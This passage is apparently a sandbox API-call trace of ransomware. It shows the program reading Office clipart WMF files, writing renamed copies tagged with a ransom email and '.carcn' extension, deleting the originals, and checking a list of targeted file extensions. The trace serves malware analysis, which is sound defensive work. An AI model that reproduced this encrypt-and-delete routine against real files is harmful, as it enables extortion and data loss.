dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0296.298] GetLastError () returned 0x0 [0296.298] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3896, lpOverlapped=0x0) returned 1 [0296.299] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x38a0, lpOverlapped=0x0) returned 1 [0296.303] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.303] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.303] SetEndOfFile (hFile=0x36c) returned 1 [0296.303] CloseHandle (hObject=0x36c) returned 1 [0296.303] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.303] SetEndOfFile (hFile=0x35c) returned 1 [0296.304] CloseHandle (hObject=0x35c) returned 1 [0296.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0296.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.305] lstrlenW (lpString=".doc") returned 4 [0296.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.305] lstrlenW (lpString=".docx") returned 5 [0296.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.305] lstrlenW (lpString=".pdf") returned 4 [0296.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.305] lstrlenW (lpString=".xls") returned 4 [0296.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.305] lstrlenW (lpString=".xlsx") returned 5 [0296.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.305] lstrlenW (lpString=".ppt") returned 4 [0296.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.305] lstrlenW (lpString=".zip") returned 4 [0296.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.305] lstrlenW (lpString=".rar") returned 4 [0296.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.305] lstrlenW (lpString=".bz2") returned 4 [0296.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.306] lstrlenW (lpString=".7z") returned 3 [0296.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.306] lstrlenW (lpString=".dbf") returned 4 [0296.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.306] lstrlenW (lpString=".1cd") returned 4 [0296.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.306] lstrlenW (lpString=".jpg") returned 4 [0296.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.306] lstrlenW (lpString=".doc") returned 4 [0296.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.306] lstrlenW (lpString=".docx") returned 5 [0296.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.306] lstrlenW (lpString=".pdf") returned 4 [0296.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.306] lstrlenW (lpString=".xls") returned 4 [0296.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.306] lstrlenW (lpString=".xlsx") returned 5 [0296.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.307] lstrlenW (lpString=".ppt") returned 4 [0296.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.307] lstrlenW (lpString=".zip") returned 4 [0296.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.307] lstrlenW (lpString=".rar") returned 4 [0296.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.307] lstrlenW (lpString=".bz2") returned 4 [0296.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.307] lstrlenW (lpString=".7z") returned 3 [0296.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.307] lstrlenW (lpString=".dbf") returned 4 [0296.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.307] lstrlenW (lpString=".1cd") returned 4 [0296.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0296.307] lstrlenW (lpString=".jpg") returned 4 [0296.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.307] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.307] lstrlenW (lpString="BD19988_.WMF") returned 12 [0296.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.308] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=18304) returned 1 [0296.308] CloseHandle (hObject=0x35c) returned 1 [0296.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0296.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.309] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.309] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0296.309] GetLastError () returned 0x0 [0296.309] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4780, lpOverlapped=0x0) returned 1 [0296.311] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x4790, lpOverlapped=0x0) returned 1 [0296.312] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.313] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.313] SetEndOfFile (hFile=0x36c) returned 1 [0296.313] CloseHandle (hObject=0x36c) returned 1 [0296.313] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.313] SetEndOfFile (hFile=0x35c) returned 1 [0296.314] CloseHandle (hObject=0x35c) returned 1 [0296.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0296.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.315] lstrlenW (lpString=".doc") returned 4 [0296.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.315] lstrlenW (lpString=".docx") returned 5 [0296.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.315] lstrlenW (lpString=".pdf") returned 4 [0296.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.315] lstrlenW (lpString=".xls") returned 4 [0296.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.316] lstrlenW (lpString=".xlsx") returned 5 [0296.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.316] lstrlenW (lpString=".ppt") returned 4 [0296.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.316] lstrlenW (lpString=".zip") returned 4 [0296.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.316] lstrlenW (lpString=".rar") returned 4 [0296.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString=".bz2") returned 4 [0296.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString=".7z") returned 3 [0296.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.316] lstrlenW (lpString=".dbf") returned 4 [0296.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.316] lstrlenW (lpString=".1cd") returned 4 [0296.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.316] lstrlenW (lpString=".jpg") returned 4 [0296.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.316] lstrlenW (lpString=".doc") returned 4 [0296.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString=".docx") returned 5 [0296.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.316] lstrlenW (lpString=".pdf") returned 4 [0296.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString=".xls") returned 4 [0296.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.316] lstrlenW (lpString=".xlsx") returned 5 [0296.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.316] lstrlenW (lpString=".ppt") returned 4 [0296.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.316] lstrlenW (lpString=".zip") returned 4 [0296.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.317] lstrlenW (lpString=".rar") returned 4 [0296.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.317] lstrlenW (lpString=".bz2") returned 4 [0296.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.317] lstrlenW (lpString=".7z") returned 3 [0296.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.317] lstrlenW (lpString=".dbf") returned 4 [0296.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.317] lstrlenW (lpString=".1cd") returned 4 [0296.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0296.317] lstrlenW (lpString=".jpg") returned 4 [0296.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.317] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.317] lstrlenW (lpString="BD20013_.WMF") returned 12 [0296.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.317] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=11058) returned 1 [0296.317] CloseHandle (hObject=0x35c) returned 1 [0296.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0296.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.318] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.318] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0296.318] GetLastError () returned 0x0 [0296.319] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2b32, lpOverlapped=0x0) returned 1 [0296.320] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2b40, lpOverlapped=0x0) returned 1 [0296.321] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.321] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.321] SetEndOfFile (hFile=0x36c) returned 1 [0296.322] CloseHandle (hObject=0x36c) returned 1 [0296.322] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.322] SetEndOfFile (hFile=0x35c) returned 1 [0296.946] CloseHandle (hObject=0x35c) returned 1 [0296.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0296.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.947] lstrlenW (lpString=".doc") returned 4 [0296.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.947] lstrlenW (lpString=".docx") returned 5 [0296.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.947] lstrlenW (lpString=".pdf") returned 4 [0296.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.947] lstrlenW (lpString=".xls") returned 4 [0296.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.947] lstrlenW (lpString=".xlsx") returned 5 [0296.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.947] lstrlenW (lpString=".ppt") returned 4 [0296.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.948] lstrlenW (lpString=".zip") returned 4 [0296.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.948] lstrlenW (lpString=".rar") returned 4 [0296.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.948] lstrlenW (lpString=".bz2") returned 4 [0296.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.948] lstrlenW (lpString=".7z") returned 3 [0296.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.948] lstrlenW (lpString=".dbf") returned 4 [0296.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.948] lstrlenW (lpString=".1cd") returned 4 [0296.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.948] lstrlenW (lpString=".jpg") returned 4 [0296.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.948] lstrlenW (lpString=".doc") returned 4 [0296.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.948] lstrlenW (lpString=".docx") returned 5 [0296.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.948] lstrlenW (lpString=".pdf") returned 4 [0296.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.949] lstrlenW (lpString=".xls") returned 4 [0296.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.949] lstrlenW (lpString=".xlsx") returned 5 [0296.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.949] lstrlenW (lpString=".ppt") returned 4 [0296.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.949] lstrlenW (lpString=".zip") returned 4 [0296.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.949] lstrlenW (lpString=".rar") returned 4 [0296.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.949] lstrlenW (lpString=".bz2") returned 4 [0296.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.949] lstrlenW (lpString=".7z") returned 3 [0296.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.949] lstrlenW (lpString=".dbf") returned 4 [0296.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.949] lstrlenW (lpString=".1cd") returned 4 [0296.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0296.949] lstrlenW (lpString=".jpg") returned 4 [0296.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.950] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.950] lstrlenW (lpString="BL00194_.WMF") returned 12 [0296.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.950] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=3986) returned 1 [0296.950] CloseHandle (hObject=0x35c) returned 1 [0296.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0296.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.951] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.951] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0296.951] GetLastError () returned 0x0 [0296.951] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, 